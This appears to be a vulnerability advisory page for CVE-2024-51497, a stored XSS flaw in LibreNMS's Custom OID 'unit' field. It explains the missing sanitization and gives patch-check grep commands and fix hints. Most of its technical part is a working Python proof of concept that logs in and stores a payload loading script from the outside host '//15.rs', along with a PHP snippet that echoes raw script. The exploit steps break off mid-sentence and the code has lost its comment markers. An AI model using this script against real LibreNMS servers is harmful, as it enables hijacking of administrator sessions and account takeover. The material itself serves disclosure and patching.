LibreNMS, Stored XSS, CVE-2024-51497 (High)

Listen to this Post

How the CVE Works:

The vulnerability resides in the Custom OID functionality of LibreNMS. When creating or editing a Custom OID via ajax_form.php, the application sanitizes the name, oid, and `datatype` parameters using PHP’s `strip_tags()` function. However, the developer neglected to apply the same sanitization to the `unit` parameter, leaving it completely raw. This unsanitized input is stored directly in the database. Later, when a user views the “Custom OID” tab for a device (via print-customoid.php), the application retrieves the malicious `unit` value from the database and echoes it into the HTML without any escaping. Consequently, an attacker with device edit permissions can inject a JavaScript payload (e.g., <script/src=//15.rs>) into the unit field. When any user—including administrators—navigates to the affected device page, the payload executes in their browser, leading to session hijacking, account takeover, or unauthorized actions. The vulnerability is specific to the unit field because it bypasses both input sanitization and output encoding, making it a classic Stored Cross-Site Scripting (XSS) flaw .

DailyCVE Form:

Platform: LibreNMS
Version: < 24.10.0
Vulnerability: Stored XSS
Severity: High (7.5)
Date: 2024-11-15

Prediction: Patched 24.10.0

What Undercode Say:

1. Identify vulnerable files (check if patch is applied)
grep -n "strip_tags" includes/html/forms/customoid.inc.php
Vulnerable line (21) should show $_POST['unit'] without strip_tags
Patched version should show strip_tags on line 21
2. Check the output location for missing escaping
grep -n "\$customoid_unit" graphs/customoid.inc.php
Look for lines 13-20 where variable is echoed without htmlspecialchars()
3. Python Proof of Concept to test the vulnerability
cat << 'EOF' > cve-2024-51497_poc.py
!/usr/bin/env python3
import requests
import sys
Configuration
TARGET = "http://your-librenms-instance.com"
SESSION = requests.Session()
Authenticate first (you need valid credentials)
SESSION.post(f"{TARGET}/login", data={"username": "user", "password": "pass"})
XSS Payload (bypasses length restrictions via external script)
payload = '<script/src=//15.rs>'
Step 1: Create a malicious Custom OID
data = {
'device_id': '1', Replace with target device ID
'type': 'customoid',
'action': 'save',
'name': 'Safe Name',
'oid': '1.3.6.1.4.1.2021.10.1.3.1',
'datatype': 'GAUGE',
'unit': payload, UNSANITIZED PARAMETER
'divisor': '1',
'multiplier': '1'
}
create_resp = SESSION.post(f"{TARGET}/ajax_form.php", data=data)
if create_resp.status_code == 200:
print("[+] Malicious OID created successfully.")
else:
print("[-] Failed to create OID.")
sys.exit(1)
Step 2: Visit the device page to trigger XSS
The payload will execute when viewing the Custom OID tab
print(f"[+] Trigger XSS by visiting: {TARGET}/device/1customoid")
EOF
chmod +x cve-2024-51497_poc.py
4. Simulate the vulnerable PHP logic (server-side)
php -r "
// Vulnerable input handling simulation
\$name = strip_tags('Test OID');
\$oid = strip_tags('1.3.6.1.4.1.2021');
\$datatype = strip_tags('GAUGE');
\$unit = '<script>alert(1)</script>'; // No strip_tags
// Store in DB (simulated)
\$stored_unit = \$unit;
// Output simulation (vulnerable echo)
echo \"<td>\$stored_unit</td>\"; // Raw output, XSS occurs
"
5. Fix validation command (if you are an admin)
echo "To fix, ensure both files are patched:"
echo "1. includes/html/forms/customoid.inc.php - Add strip_tags() to unit."
echo "2. graphs/customoid.inc.php - Wrap \$customoid_unit in htmlspecialchars()."

How Exploit:

  1. Authenticate to LibreNMS with an account that has “Device Edit” permissions.
  2. Navigate to a device and access the “Custom OID” tab.

3. Click “Create New Custom OID”.

  1. Fill in the required fields (name, oid, datatype) with benign data.
  2. In the “Unit” field, inject a JavaScript payload, such as `
    Scroll to Top